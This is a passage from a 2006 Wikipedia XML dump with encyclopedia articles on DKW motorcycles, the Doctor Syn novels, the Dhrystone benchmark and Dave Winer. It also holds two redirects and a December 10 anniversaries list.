The motorcycle branch of the company produced very famous models such as the [[RT125]] pre- and post [[World War II]]. As reparations after the war, the design drawings of the RT125 were given to [[Harley-Davidson]] in the [[USA]] and [[Birmingham Small Arms Company|BSA]] in the [[UK]]. The HD version was known as the Hummer, while BSA used them for the [[BSA Bantam|Bantam]]. IFA and later [[MZ]] models continued in production until the [[1990s]], when economics finally brought production of the two stroke to an end. Other manufacturers also copied the DKW design, officially or otherwise. This can be seen in the similarity of many small two stroke motorcycles from the [[1950s]], including a product of [[Yamaha Motor Corporation|Yamaha]].

==External links==
{{commonscat|DKW vehicles}}
* [http://www.polizeioldtimer.de/bilder_feier/berlin_dkw_munga.jpg DKW Munga picture]
* [http://dmoz.org/World/Nederlands/Recreatie/Auto%27s/Merken/DKW/ Category at ODP (Dutch)] DKW Club Nederland
* [http://www.dkw.co.za Site with many pictures and link list] DKW Owners Club South Africa

[[Category:Audi]]
[[Category:Volkswagen]]
[[Category:German automobile manufacturers]]
[[Category:Motorcycle manufacturers]]

[[da:DKW]]
[[de:DKW]]
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[[sv:DKW]]</text>
    </revision>
  </page>
  <page>
    <title>Doctor Syn</title>
    <id>8708</id>
    <revision>
      <id>40759222</id>
      <timestamp>2006-02-22T21:05:36Z</timestamp>
      <contributor>
        <username>Rpab</username>
        <id>915416</id>
      </contributor>
      <text xml:space="preserve">The '''Reverend Doctor Christopher Syn''' is the [[smuggling|smuggler]] [[hero]] of a series of novels by [[Russell Thorndike]], who was the brother of the celebrated English actress Dame [[Sybil Thorndike]]. The first book in this series, ''Doctor Syn: A Tale of the Romney Marsh'' was published in [[1915]].

{{spoiler}}

==Character Biography==
Doctor Syn was a brilliant [[scholar]] who also possessed many [[swashbuckler|swashbuckling]] skills such as riding, [[fencing]], and seamanship.  He was content to live the quiet live of a country [[vicar]] until his wife was seduced away by a [[pirate]].

Syn set out on a quest for revenge, in the process assuming the guise of the pirate [[Captain Clegg]].  With the end of his quest, Syn settled down to a more respectable life as the vicar of [[Dymchurch]] in [[Romney Marsh]], [[Kent]], and resumed his original name.

Syn learns that his parishioners have been smuggling goods from [[France]] to avoid the extravagant [[Customs (tax)|customs]] duties the government charges.  Realizing that the townsfolk are falling into an ambush, Syn races to their rescue.  A suit of clothing borrowed from a [[scarecrow]] makes an improvised [[disguise]].

After this rescue Syn decides that he can only protect his people by becoming their leader.  He makes a more elaborate scarecrow costume complete with eerie [[luminous paint]]. At night the respectable Dr Syn became &quot;The Scarecrow&quot;, the feared head of the smugglers. Together with the church sexton (and former pirate colleague) Mr. Mipps, he organizes the smugglers into a well-organized band of &quot;night riders&quot;, called &quot;The Devil Riders&quot; with macabre disguises and code-names.  Syn's cunning is so great that the smugglers outwit the government forces for many years.  

==Publication History==
The Dr. Syn books detail his adventures and attempts to evade the [[Excise]].  There are seven novels in the series written by Thorndike: 

* ''[[Doctor Syn: A Tale of the Romney Marsh]]'' (1915)
* ''[[Doctor Syn on the High Seas]]'' (1935)
* ''[[Doctor Syn Returns]]'' (1936)
* ''[[Further Adventures of Doctor Syn]]'' (1936)
* ''[[Courageous Exploits of Doctor Syn]]'' (1938)
* ''[[Amazing Quest of Doctor Syn]]'' (1939)
* ''[[Shadow of Doctor Syn]]'' (1944)

In 1960 American author [[William Buchanan (author)|William Buchanan]] used the character in his novel '''''Christopher Syn'''''.  This is essentially a reworking of ''Further Adventures of Doctor Syn'' with a different conclusion and some conflation and renaming of the supporting characters.  ''Christopher Syn'' became the basis for the 1962 Disney production (see below).  There was also a book adaptation of the Disney theatrical version.  This was titled '''''Doctor Syn, Alias the Scarecrow''''' and was written by [[Vic Crume]].

==Dramatic Adaptations==
Three film adaptations have been made of Dr Syn's exploits.  The first, ''Doctor Syn'' featured noted actor [[George Arliss]] in the title role.  The second, ''The Scarecrow of Romney Marsh'', was produced as a television [[miniseries]] by [[Walt Disney]] in [[1962]] and starred [[Patrick McGoohan]] of ''[[The Prisoner]]'' fame (it was re-edited and released theatrically two years later with the title, ''Doctor Syn, Alias the Scarecrow'').  That same year ''Captain Clegg'' (released as ''[[Night Creatures]]'' in the US) was produced by [[Hammer Film Productions]] with [[horror movie]] actor [[Peter Cushing]] in the lead role.  Because Disney had a stronger claim to the copyright, the main character's name was changed to Dr. Blyss.

In [[2001]] the first ever stage adaptation was performed at churches throughout the [[Romney Marsh]], the final night being performed in [[Dymchurch]] itself. The cast combined professional actors such as Daniel Thorndike (the author's son), Michael Fields, Steven Povey and Ben Barton, along with various amateurs from the marshes. Although covered heavily by the press and filmed, pressure from [[Walt Disney]] (who still own all rights) has ensured that this production will never be released on video.

==Cultural Legacy==
The &quot;Days of Syn&quot; festival is held every even-numbered year (e.g. 2004) by the residents of [[Dymchurch]] for fund-raising purposes.

==External links==
* {{imdb title|id=0028807|title=Doctor Syn}}
* {{imdb title|id=0056277|title=Captain Clegg}}
* {{imdb title|id=0055929|title=The Scarecrow of Romney Marsh}}
* [http://www.pjfarmer.com/woldnewton/Syn.htm The Life and Times of the Rev. Doctor Christopher Syn] (describes the [[Wold Newton family]] [[meta]]-[[canon (fiction)|canon]] , not the Thorndike canon.)
* [http://www.dymchurchonline.com/doctor_syn/index.php Dymchurch Online]  Information about the character, novels and movies, with contact information for the Days of Syn Committee.

[[Category:Fictional pirates|Syn]]
[[Category:Series of books]]</text>
    </revision>
  </page>
  <page>
    <title>Dhrystone</title>
    <id>8709</id>
    <revision>
      <id>37330417</id>
      <timestamp>2006-01-30T07:23:47Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: es</comment>
      <text xml:space="preserve">'''Dhrystone''' is a synthetic [[Benchmark (computing)|benchmark]] program
developed in [[1984]] by Reinhold P. Weicker intended to be representative of
system (integer) programming.  The Dhrystone grew to become representative of
general processor (CPU) performance until it was superseeded by the CPU89
benchmark suite from the [[Standard Performance Evaluation Corporation]],
today known as the &quot;[[SPECint]]&quot; suite.

With Dhrystone, Weicker gathered meta-data from a broad range of software -
including programs written in FORTRAN, PL/1, SAL, ALGOL 68, and Pascal.  He
then characterized these programs in terms of various common constructs -
procedure calls, pointer indirections, assignments, etc.  From this he wrote
the Dhrystone benchmark to correspond to a representative mix.  Dhrystone was published in
Ada, with the C version for Unix developed by Rick Richardson (&quot;version 1.1&quot;)
greatly contributing to its popularity.
==Dhrystone vs Whetstone ==
The Dhrystone benchmark contains no [[floating point]] operations, thus the
name is a pun on the then-popular [[Whetstone (benchmark)|Whetstone]]
benchmark for floating point operations. The output from the benchmark is the
number of Dhrystones per second (the number of iterations of the main code
loop per second).

Both Whetstone and Dhrystone are ''synthetic'' benchmarks, meaning that they
are simple programs that are carefully designed to statistically mimic some
common set of programs.  Whetstone, developed in 1972, originally strived to
mimic typical Algol 60 programs based on measurements from 1970, but
eventually became most popular in its Fortran version.  Whetstone thus
reflected the highly numerical orientation of computing in the 1960s.

==Issues addressed by Dhrystone==
Dhrystone's eventual importance as an indicator of general-purpose (&quot;integer&quot;)
performance of new computers made it a target for commercial compiler writers.
Various modern compiler techniques (such as dead code elimination) make the
use and design of synthetic benchmarks more difficult.  Version 2.0 of the
benchmark, released by Weicker and Richardson in March of 1988, had a number
of changes intended to foil a range of compiler techniques.  Yet it was
carefully crafted so as not to change the underlying benchmark.  This effort
to foil compilers was only partly successful.  Dhrystone 2.1, released in May
of the same year, had some minor changes and remains the current definition of
Dhrystone.

Other than issues related to compiler optimization, various other issues have
been cited with the Dhrystone.  Most of these were understood at the time of
its publication in 1984 - including the small code size and small data set
size.  More subtle is the slight over-representation of string operations,
which is largely language related: both Ada and Pascal have strings as first
class citizens in the language, whereas C does not, so what was simple
variable assignments in reference benchmarks became buffer copy operations in
the C library.

Dhrystone remains remarkably resilient as a simple benchmark.  It is easy to
use, well documented, is fully self-contained, is well understood, and can be made to work on
almost any system.  In particular, it has remained in broad use in the
embedded computing world, though the recently developed '''EEMBC''' benchmark suite
is likely to supersede it in that role just as CPU89 did for the general computing and
server markets.  Still, 20 years of continued use is quite a testament to
Weicker's careful design and foresight.

==Results ==
Dhrystone tries to represent the result more meaningfully than MIPS (million instructions per second), because MIPS cannot be used across different instruction sets (e.g. RISC vs. CISC) for the same computation requirement from users.  Thus, the main score is just Dhrystone loops per second.  Another common representation of the Dhrystone benchmark is the DMIP - Dhrystone [[million instructions per second|MIPS]] - obtained when the Dhrystone score
is divided by 1,757 (the number of Dhrystones per second obtained on the [[VAX|VAX 11/780]], nominally a 1 MIPS machine).

==See also ==
[[Benchmark (computing)]]
== References ==
* [http://groups.google.com/groups?q=DMIPS&amp;hl=en&amp;group=comp.benchmarks&amp;rnum=1&amp;selm=tsengDKq856.Gy6%40netcom.com Newsgroup posting for calculation of DMIPS]
* [http://portal.acm.org/citation.cfm?id=358283  Reinhold P. Weicker, CACM Vol 27, No 10, 10/84]
* http://www.netlib.org/benchmark/dhry-c  c version of Dhrystone in a sh file. 
[[Category:Computer benchmarks]]

[[de:Dhrystone]]
[[es:Dhrystone]]
[[ja:Dhrystone]]
[[pl:Dhrystones]]</text>
    </revision>
  </page>
  <page>
    <title>Durham University (England)</title>
    <id>8710</id>
    <revision>
      <id>22046869</id>
      <timestamp>2005-08-28T19:46:39Z</timestamp>
      <contributor>
        <ip>68.251.209.247</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT[[Durham University]]</text>
    </revision>
  </page>
  <page>
    <title>Distilling</title>
    <id>8711</id>
    <revision>
      <id>15906670</id>
      <timestamp>2002-04-28T19:18:47Z</timestamp>
      <contributor>
        <username>Rgamble</username>
        <id>697</id>
      </contributor>
      <comment>Info was mostly repeated in Distillation and that's a better title.</comment>
      <text xml:space="preserve">#REDIRECT [[Distillation]]</text>
    </revision>
  </page>
  <page>
    <title>Dave Winer</title>
    <id>8713</id>
    <revision>
      <id>41637863</id>
      <timestamp>2006-02-28T18:31:02Z</timestamp>
      <contributor>
        <username>Bhouston</username>
        <id>319269</id>
      </contributor>
      <minor />
      <comment>added general [[Category:Technical evangelists]] cat.</comment>
      <text xml:space="preserve">[[Image:David Winer.jpg|right|thumb|Dave Winer]]
'''Dave Winer''' (b. [[May 2]], [[1955]] in [[Brooklyn]], [[New York City]], USA) is a software pioneer who created or was a lead contributor to several of the most popular [[XML]] dialects and APIs related to web publishing, including [[RSS (file format)|RSS]] 2.0, [[XML-RPC]], [[OPML]], and the [[MetaWeblog API]]. He's also the author of [http://scripting.com/ Scripting News], one of the first [[weblog]]s.

==Early work==
In [[1979]], after graduating with an MS in computer science from the [[University of Wisconsin-Madison|University of Wisconsin]], Dave Winer became the lead developer for Personal Software. In [[1981]] he left to found Living Videotext, which created [[Outliner|outliners]]: ThinkTank, Ready and MORE.

==Years at UserLand==
In [[1987]] Winer sold Living Videotext to [[Symantec]] and used the profits to purchase a large home in [[Woodside, California]] (next to [[Joan Baez]]) and founded [[UserLand Software]]. 

In [[1992]] UserLand developed Frontier, a scripting language for the [[Apple Macintosh|Macintosh]]. After Apple took most of Frontier's market by bundling its own scripting language, [[AppleScript]], with new systems, UserLand ported Frontier to [[Microsoft Windows|Windows]]. The Frontier kernel was made [[open source]] under the [[GPL|GNU General Public License]] on [[September 28]], [[2004]].

During the Web boom of the [[1990s]], Frontier became the technology behind [http://manila.userland.com/ Manila], a content management system that allowed the hosting of web sites and their editing through a browser. UserLand ran a free Manila hosting service, EditThisPage.com, which quickly began being used mostly to run [[weblog]]s, which Winer helped popularize. UserLand also ran one of the first Web aggregators, My.UserLand.Com, which allowed users to follow numerous weblogs from a single web page using a [[Netscape Communications Corporation|Netscape]]-created format called [[RSS (file format)|RSS]], modified to include an XML format Winer had used for his weblog. After Netscape abandoned its My.Netscape RSS project, Winer continued to develop and promote a version of RSS, which he called &quot;[[Really Simple Syndication]]&quot; (distinguishing it from other syndication formats based on [[RDF]]). Winer convinced [[The New York Times]], among other media organizations, to adopt RSS. 

Winer also developed the protocol [[XML-RPC]], which led to the creation of [[Simple Object Access Protocol|SOAP]] (co-authored by Winer, [[Microsoft]], and [[Don Box]]). 

In [[2001]] UserLand combined My.UserLand.Com's aggregator and Manila's blogging functions to create [[Radio UserLand]], a lower-cost client-side tool that let blogs be uploaded to UserLand's servers as part of the annual software license fee. 

In [[June 2002]] Winer had [[coronary artery bypass surgery]] to prevent a heart attack. Afterwards, he quit smoking and left his job as CEO of UserLand, although he maintained ownership of the firm, kept blogging, and kept promoting his flavor of RSS.

==Berkman Fellow at Harvard==
He then spent a year as a resident fellow at the [[Harvard Law School]]'s [[Berkman Center for Internet and Society]] where he worked on using weblogs in education. While there, he launched the [http://blogs.law.harvard.edu/ Harvard Weblogs] community using UserLand software, and held the first [[BloggerCon]] conferences. Winer's fellowship ended in June 2004.

==Contributions to podcasting==
In collaboration with former [[MTV]] personality [[Adam Curry]] and others, Winer helped develop technical specifications for including media files as enclosure links in the RSS protocol, which permitted widespread adoption of [[podcasting]]. In June 2005, he gave the opening keynote speech at the [[Gnomedex]] 5.0 conference in [[Seattle, Washington|Seattle]] (Curry gave the closing keynote). At that conference, Winer demonstrated his new [[open source]] [[OPML]] Editor application&amp;mdash;a web-based take on the outliners for which he originally gained fame&amp;mdash;where he, as of August 2005, is focusing most of his efforts.

==Weblogs.com==
After leaving Userland, Winer continued to maintain the domain weblogs.com, which provided a free [[ping-server]] used by most [[weblog|blog]] applications, as well as free hosting to many early bloggers. (Web-services like [[Feedster]] and [[Technorati]] monitor Weblogs.com for its list of the latest blog posts, generated in response to pings via XML-RPC.) 

In mid-June 2004, Winer stopped providing free blog-hosting services there. Free hosting was soon provided elsewhere, however.

In October, 2005, Verisign bought the Weblogs.com [[Ping blog|ping-server]] from Winer, promising that services currently free there would still be free. The [[podcasting]]-related web site audio.weblogs.com was also included in the $2.3 million deal [http://www.eweek.com/article2/0,1895,1868270,00.asp].

==Relationship to the public==
Winer is known as one of the more polarizing figures in the blogging community.  [[Tim Bray]], a co-inventor of [[XML]], wrote on his blog &quot;Dave Winer has done a tremendous amount of work on RSS and invented important parts of it and deserves a huge amount of credit for getting us as far as we have. However, just looking around, I observe that there are many people and organizations who seem unable to maintain a good working relationship with Dave.&quot; [http://www.tbray.org/ongoing/When/200x/2003/06/23/SamsPie] [[Tim O'Reilly]], who has had a rocky relationship with Dave for many years with regards to the technology conferences Tim organizes, says that Dave &quot;can be a great contributor, but he can also decide, for no apparent reason, that someone is somehow on 'the other side,' at which point he becomes disruptive and abusive.&quot; [http://www.oreilly.com/pub/a/oreilly/ask_tim/2000/winer_0900.html]

Others speak of Winer with admiration and affection.  &quot;Dave is one of my favorite sources of information and opinion on the Web. His opinions are passionately held, well-informed, intelligent, argumentative, and quite often wrong,&quot; quipped  [[Hitchhikers Guide to the Galaxy]] author [[Douglas Adams]].  [http://www.wired.com/wired/archive/9.05/winer.html] [[Cluetrain Manifesto]] co-author [[Doc Searls]], a long-time friend of Dave Winer, expressed the sense of indebtedness shared by many of Winer's admirers: &quot;When they scroll the credits of my life, Dave's is going to be one of the first names on the list. And when they scroll the credits for [[weblog|blogging]], [[outliner|outlining]], writing, [[scripting]], journalism, [[XML]], [[RSS]], [[SOAP]], [[podcasting]] and a pile of other technologies, standards and practices we will all eventually take for granted, the same will be true for those as well.&quot; [http://doc.weblogs.com/2005/10/07#aPostOfThanks]

==See also==
* [[BloggerCon]]
* [[MORE]]
* [[OPML]]
* [[outliner]]
* [[RSS (file format)|RSS]]
* [[WeblogsDotCom]]

==External links==
* [http://www.scripting.com/ Scripting News, Dave Winer's weblog]
* His [http://scriptingnews.userland.com/cv CV] and [http://dave.editthispage.com/bio BIO]
* [http://newhome.weblogs.com/historyOfWeblogs Dave's history of weblogs]
* [http://eyeonwiner.org/ Eye on Winer] A weblog devoted to criticism of Dave Winer

===News coverage and interviews===
* [http://www.pbs.org/cringely/nerdtv/shows/#6 NerdTV Interview] (video, audio, and transcript available) - [[30 September]] [[2005]]
* [http://www.wired.com/wired/archive/9.05/winer.html Almost famous], a [[Wired Magazine]] profile
* [http://www.eweek.com/article2/0,1895,1868270,00.asp EWeek story: VeriSign acquires Dave Winer's Weblogs.com]
* [http://slashdot.org/articles/04/06/15/2354258.shtml?tid=126&amp;tid=95| Slashdot Discussion On Weblogs.com Controversy] [http://developers.slashdot.org/article.pl?sid=04/06/17/2326207&amp;tid=167&amp;tid=108&amp;tid=163| Slashdot follow-up, three days later]

===Companies and technologies of relevant interest===
* [http://www.userland.com/ UserLand]
* [http://kernel.scripting.com/ Frontier kernel]
* [http://manila.userland.com/ Manila]
* [http://radio.userland.com/ Radio Userland]
* [http://blogs.law.harvard.edu/ Harvard Law School Blogs] (powered by Manila)
* [http://davenet.scripting.com/ Dave Net]
* [http://www.outliners.com/ Outliners]
* [http://www.xmlrpc.org/ XML-RPC]
* [http://www.soapware.org/ Directory For Soap Developers]
* [http://www.opml.org/ OPML] (Outline Processor Markup Language)

[[Category:1955 births|Winer, Dave]]
[[Category:Living people|Winer, Dave]]
[[Category:American bloggers|Winer, Dave]]
[[Category:Berkman Fellows]]
[[Category:Programmers|Winer, Dave]]
[[Category:Technical evangelists|Winer, Dave]]

[[de:Dave Winer]]</text>
    </revision>
  </page>
  <page>
    <title>December 10</title>
    <id>8714</id>
    <revision>
      <id>42051343</id>
      <timestamp>2006-03-03T13:37:43Z</timestamp>
      <contributor>
        <username>Weregerbil</username>
        <id>700735</id>
      </contributor>
      <comment>/* Deaths */ rm wrong year, wrong date</comment>
      <text xml:space="preserve">'''[[December 10]]''' is the 344th day (345th in [[leap year]]s) of the year in the [[Gregorian calendar]]. There are 21 days remaining.

{{DecemberCalendar}}

==Events==
*[[1041]] - Empress [[Zoe of Byzantium]] elevates her adoptive son to the throne of the [[Eastern Roman Empire]] as [[Michael V]].
*[[1508]] - The [[League of Cambrai]] is formed by [[Pope Julius II]], [[Louis XII of France]], [[Maximilian I, Holy Roman Emperor]] and [[Ferdinand II of Aragon]] as an alliance against [[Venice]].
*[[1520]] - [[Martin Luther]] burns his copy of the [[papal bull]] ''[[Exsurge Domine]]'' outside [[Wittenberg]]'s Elster Gate.
*[[1684]] - [[Isaac Newton]]'s derivation of [[Kepler's laws]] from his theory of gravity, contained in the paper ''[[De motu corporum in gyrum]]'', is read to the [[Royal Society]] by [[Edmund Halley]].
*[[1817]] - [[Mississippi]] becomes the 20th [[U.S. state]].
*[[1836]] - Emory College (now [[Emory University]]) is chartered in [[Oxford, Georgia]].
*[[1864]] - [[American Civil War]]: [[Sherman's March to the Sea]] - Major General [[William T. Sherman]]'s [[Union Army]] troops reach [[Savannah, Georgia]].
*[[1868]] - The first [[traffic lights]] are installed outside the [[Palace of Westminster|Houses of Parliament]] in [[London]]. Resembling [[railway signals]],  they use [[Semaphore (communication)|semaphore]] arms and are illuminated at night by red and green [[gas lamp]]s.
*[[1869]] - [[Wyoming]] grants women the right to vote.
*[[1898]] - [[Spanish-American War]]: The [[Treaty of Paris (1898)|Treaty of Paris]] is signed, officially ending the conflict.
*[[1899]] - The [[Delta Sigma Phi]] fraternity is founded in at [[City College of New York]].
*[[1901]] - The first [[Nobel Prize]]s are awarded.
*[[1904]] - The [[Pi Kappa Phi]] fraternity is founded in [[Charleston, South Carolina]].
*[[1906]] - [[U.S. President]] [[Theodore Roosevelt]] wins the [[Nobel Peace Prize]], becoming the first American to win a [[Nobel Prize]] of any kind.
*[[1936]] - [[Abdication Crisis]]: [[Edward VIII of the United Kingdom|Edward VIII]] signs his ''Instrument of Abdication''.  
*[[1941]] - [[World War II]]: [[Sinking of Prince of Wales and Repulse]] - The [[Royal Navy]] ships ''[[HMS Prince of Wales (1939)|HMS Prince of Wales]]'' and ''[[HMS Repulse (1916)|HMS Repulse]]'' are sunk by [[ Imperial Japanese Navy]] [[torpedo bombers]].
*1941 - World War II: [[Battle of the Philippines (1941-42)|Battle of the Philippines]] - [[Imperial Japan]]ese forces under the command of General [[Masaharu Homma]] land on the Philippine mainland.
*[[1948]] - The [[UN General Assembly]] adopts the [[Universal Declaration of Human Rights]].
*[[1949]] - [[Chinese Civil War]]: The [[People's Liberation Army]] begins its siege of [[Chengdu]], the last [[Kuomintang]]-held city in [[mainland China]], forcing [[ President of the Republic of China]] [[Chiang Kai-shek]] and his government to retreat to [[Taiwan]].
*[[1953]] - Dr. [[Albert Schweitzer]] is awarded the [[Nobel Peace Prize]] for his humanitarian work.  
*[[1963]] - The [[United States Air Force]]'s [[X-20 Dyna-Soar]] [[spaceplane]] program is cancelled by [[Robert McNamara]].
*[[1965]] - [[The Grateful Dead]] play their first concert, at [[the Fillmore]] in [[San Francisco]].
*[[1970]] -  Agricultural scientist [[Norman Borlaug]], &quot;father of the [[Green Revolution]]&quot;, is awarded the [[Nobel Peace Prize]].
*[[1975]] - Activist [[Andrei Sakharov]] is awarded the [[Nobel Peace Prize]], accepted by his wife, [[Yelena Bonner]].
*[[1978]] - [[Arab-Israeli conflict]]: [[Prime Minister of Israel]] [[Menachem Begin]] and [[President of Egypt]] [[Anwar Sadat]] are jointly awarded the [[Nobel Peace Prize]].
*[[1981]] - The [[United Nations General Assembly]] approves [[Pakistan]] proposal for establishing nuclear free-zone in [[South Asia]].
*[[1983]] - [[Democracy]] was restored on [[Argentina]] with the assumption of President [[Raúl Alfonsín]].
*[[1983]] - ''[[Solidarity]]'' leader [[Lech Wa&amp;#322;&amp;#281;sa]] is awarded the [[Nobel Peace Prize]], accepted by his wife, Danuta.
*[[1984]] - [[Apartheid]]: Cleric and activist [[Desmond Tutu]] is awarded the [[Nobel Peace Prize]].
*[[1986]] - [[The Holocaust]]: [[Elie Wiesel]] is awarded the [[Nobel Peace Prize]].
*1993 - First release of [[Doom]], one of the most popular shoot-em'up PC videogames
*[[1996]] - [[Rwandan Genocide]]: Military Advisor to the [[United Nations Secretary-General]] and head of the Military Division of the Department of Peacekeeping Operations of the United Nations [[Maurice Baril]] recommends that the [[UN]] multi-national forces in [[Zaire]] stand down.
*[[2002]] - The [[High Court of Australia]] hands down its judgement in the [[internet]] [[defamation]] case of ''[[Gutnick v Dow Jones]]''.
*[[2004]] - A tombstone commemorating the 35th anniversary of the death of [[Brazilian]] [[guerrilla warfare|guerrilla]] [[Carlos Marighella]] is inaugurated in [[Salvador, Bahia]]. 
*2004 - [[Anil Kumble]] becomes [[Indian national cricket team|India's]] highest [[Dismissal (cricket)|wicket-taker]], surpassing  [[Kapil Dev]]'s total of 435.
*[[2005]] - [[Sosoliso Airlines Flight 1145]] crashes in [[Nigeria]]. 
*2005 - [[Xbox 360]] console released in [[Japan]].
*2005 - [[Nene Tamayo]] became the Big Winner in [[Pinoy Big Brother]].

==Births==
*[[1394]] - King [[James I of Scotland]] (d. [[1437]])
*[[1452]] - [[Johannes Stöffler]], German mathematician and astronomer (d. [[1531]])
*[[1588]] - [[Isaac Beeckman]], Dutch scientist and philosopher (d. [[1637]])
*[[1750]] - [[Tipu Sultan]], ruler of the [[Kingdom of Mysore]] (d. [[1799]])
*[[1787]] - [[Thomas Hopkins Gallaudet]], American educator (d. [[1851]])
*[[1805]] - [[Josef Skoda]], Bohemian physician (d. [[1881]])
*[[1815]] - [[Ada Lovelace]], British computer programmer (d. [[1852]])
*[[1822]] - [[César Franck]], Belgian composer and organist (d. [[1890]])
*[[1824]] - [[George MacDonald]], British writer and preacher (d. [[1905]])
*[[1830]] - [[Emily Dickinson]], American poet (d. [[1886]])
*[[1851]] - [[Melvil Dewey]], American librarian (d. [[1931]])
*[[1870]] - [[Pierre Louÿs]], French author
*1870 - [[Adolf Loos]], Austrian architect (d. [[1933]])
*[[1872]] - [[Don Lorenzo Perosi]], Italian composer (d. [[1956]])
*[[1882]] - [[Otto Neurath]], Austrian philosopher (d. [[1945]])
*[[1884]] - [[Zinaida Serebryakova]], Russian-born painter (d. [[1967]])
*[[1886]] - [[Marco Minghetti]], Italian statesman (b. [[1813]])
*[[1891]] - [[Nelly Sachs]], German-born writer and [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1970]])
*[[1903]] - [[Una Merkel]], American actress (d. [[1986]])
*[[1907]] - [[Rumer Godden]] (Margaret Rumer Godden), British writer (d. [[1998]])
*1907 - [[Lucien Laurent]], [[France national football team|French]] international footballer (d. [[2005]])
*[[1908]] - [[Olivier Messiaen]], French composer and ornithologist (d. [[1992]])
*[[1909]] - [[Hermes Pan (choreographer)|Hermes Pan]], American choreographer and dancer (d. [[1990]])
*[[1911]] - [[Chet Huntley]], American journalist (d. [[1974]])
*[[1912]] - [[Philip A. Hart]], U.S. Senator (d. [[1976]])
*[[1913]] - [[Morton Gould]], American composer (d. [[1996]])
*[[1914]] - [[Dorothy Lamour]], American actress (d. [[1996]])
*[[1917]] - [[Sultan Yahya Petra]], King of Malaysia (d. [[1979]])
*[[1920]] - [[Reginald Rose]], American writer (d. [[2002]])
*[[1928]] - [[Dan Blocker]], American actor (d. [[1972]])
*[[1934]] - [[Howard Martin Temin]], American geneticist and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1994]])
*[[1947]] - [[Douglas Kenney]], American humorist (d. [[1980]])
*1947 - [[Rasul Guliyev]], Azerbaijani politician and chairman of the Azerbaijan Democratic Party.
*1947 - [[Rainer Seifert]], German field hockey player
*[[1948]] - [[Abu Abbas]], founder of the Palestine Liberation Front (d. [[2004]])
*[[1951]] - [[Ellen Nikolaysen]], Norwegian singer
*[[1952]] - [[Clive Anderson]], British television host
*1952 - [[Susan Dey]], American actress
*[[1957]] - [[Michael Clarke Duncan]], American actor
*[[1960]] - [[Kenneth Branagh]], Northern Irish actor and director
*[[1972]] - [[Brian Molko]], Belgian-born singer and songwriter ([[Placebo (band)|Placebo]])
*[[1974]] - [[Meg White]], American drummer ([[The White Stripes]])
*[[1980]] - [[Alexa Rae]], American actress
*1980 - [[Sarah Chang]], American violinist
*1980 - [[Ledley King]], [[England football team|English]] international footballer
*[[1981]] - [[Taufik Batisah]], Singaporean singer
*1981 - [[Fabio Rochemback]], Brazilian footballer
*[[1985]] - [[Raven-Symoné]], American actress and singer
&lt;!-- Please do not add your own birthday to this list. Thank you. --&gt;

==Deaths==
*[[1041]] - [[Michael IV]], [[Byzantine Emperor]] (b. [[1010]])
*[[1198]] - [[Averroes]], Arab physician and philosopher (b. [[1126]])
*[[1508]] - [[René II, Duke of Lorraine]] (b. [[1451]])
*[[1603]] - [[William Gilbert]], English scientist (plague) (b. [[1544]])
*[[1616]] - [[Diogo do Couto]], Portuguese historian and writer (b. [[1542]]) 
*[[1618]] - [[Giulio Caccini]], Italian composer
*[[1626]] - [[Edmund Gunter]], English mathematician (b. [[1581]])
*[[1665]] - [[Tarquinio Merula]], Italian composer
*[[1736]] - [[António Manoel de Vilhena]], Portuguese ruler of Malta (b. [[1663]])
*[[1831]] - [[Thomas Seebeck]], Baltic German physicist (b. [[1770]])
*[[1850]] - [[François Sulpice Beudant]], French mineralogist and geologist (b. [[1787]])
*[[1865]] - King [[Léopold I of Belgium]] (b. [[1790]])
*[[1896]] - [[Alfred Nobel]], Swedish inventor and founder of the Nobel Prize (b. [[1833]])
*[[1911]] - Sir [[Joseph Dalton Hooker]], British botanist (b. [[1817]])
*[[1917]] - Sir [[Mackenzie Bowell]], fifth [[Prime Minister of Canada]] (b. [[1823]])
*[[1928]] - [[Charles Rennie Mackintosh]], British architect, designer, and illustrator (b. [[1868]])
*[[1936]] - [[Bobby Abel]], [[England cricket team|English]] test cricketer (b. [[1857]])
*1936 - [[Luigi Pirandello]], Italian writer and [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1867]])
*[[1941]] - [[Colin Kelly]], American pilot
*[[1946]] - [[Walter Johnson]], American baseball player (b. [[1887]])
*1946 - [[Damon Runyon]], American writer (b. [[1884]])
*[[1951]] - [[Algernon Blackwood]], British writer (b. [[1869]])
*[[1953]] - [[Abdullah Yusuf Ali]], Indian-born scholar and translator (b. [[1872]])
*[[1967]] - [[Otis Redding]], American soul singer (b. [[1941]])
*[[1968]] - [[Thomas Merton]], American monk and author (b. [[1915]])
*1968 - [[Karl Barth]], Swiss theologian (b. [[1886]])
*[[1969]] - [[Carlos Marighella]], Brazilian politician
*[[1978]] - [[Ed Wood, Jr.]], American filmmaker (b. [[1924]])
*[[1979]] - [[Ann Dvorak]], American film actress (b. [[1912]])
*[[1982]] - [[Freeman F. Gosden]], American actor (b. [[1899]])
*[[1986]] - [[Susan Cabot]], American actress (murdered) (b. [[1927]])
*[[1987]] - [[Jascha Heifetz]], Russian-born violinist (b. [[1901]])
*[[1990]] - [[Armand Hammer]], American industrialist and art collector (b. [[1898]])
*[[1991]] - [[Headman Shabalala]], South African singer ([[Ladysmith Black Mambazo]]) (b. [[1945]])
*1991 - [[Greta Kempton]], American artist (b. [[1901]])
*[[1994]] - [[Alexander Wilson (athlete)|Alexander Wilson]], Canadian and Notre Dame athlete (b. [[1905]])
*[[1996]] - [[Faron Young]], American singer (b. [[1932]])
*[[1999]] - [[Franjo Tudjman|Franjo Tu&amp;#273;man]], [[President of Croatia]] (b. [[1922]])
*1999 - [[Rick Danko]], Canadian bassist and singer ([[The Band]]) (b. [[1942]])
*[[2000]] - [[Marie Windsor]], American film actress (b. [[1919]])
*[[2001]] - [[Ashok Kumar (actor)|Ashok Kumar]], Indian actor (b. [[1911]])
*[[2005]] - [[Eugene J. McCarthy]], [[United States Senator]] (b. [[1916]])
*2005 - [[Richard Pryor]], American comedian and actor (b. [[1940]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/10 BBC: On This Day]

----

[[December 9]] - [[December 11]] - [[November 10]] - [[January 10]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:10 Desember]]
[[ar:10 ديسمبر]]
[[an:10 d'abiento]]
[[ast:10 d'avientu]]
